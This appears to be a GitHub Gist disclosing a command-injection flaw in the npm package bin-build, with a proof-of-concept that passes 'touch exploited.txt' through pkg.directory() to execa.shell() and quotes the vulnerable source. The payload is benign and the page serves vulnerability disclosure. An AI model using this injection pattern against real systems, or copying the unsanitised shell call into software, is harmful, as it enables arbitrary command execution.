Last active
October 29, 2023 12:15
-
-
Save mcoimbra/819c8bd0271c4f5fd4106f7c43449452 to your computer and use it in GitHub Desktop.
Package bin-build: The src/index.js file in package bin-build allows for command injection via the arguments passed to execa.shell() (see line #8 of src/index.js).
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('bin-build'); | |
// A local 'exploited.txt' file will be created. | |
pkg.directory("./", ["touch exploited.txt"]); | |
/* | |
* Relevant code from src/index.js | |
* | |
* | |
* const exec = (cmd, cwd) => pMapSeries(cmd, x => execa.shell(x, {cwd})); | |
* | |
* exports.directory = (dir, cmd) => { | |
* if (typeof dir !== 'string') { | |
* return Promise.reject(new TypeError(`Expected a \`string\`, got \`${typeof dir}\``)); | |
* } | |
* | |
* return exec(cmd, dir); | |
* }; | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment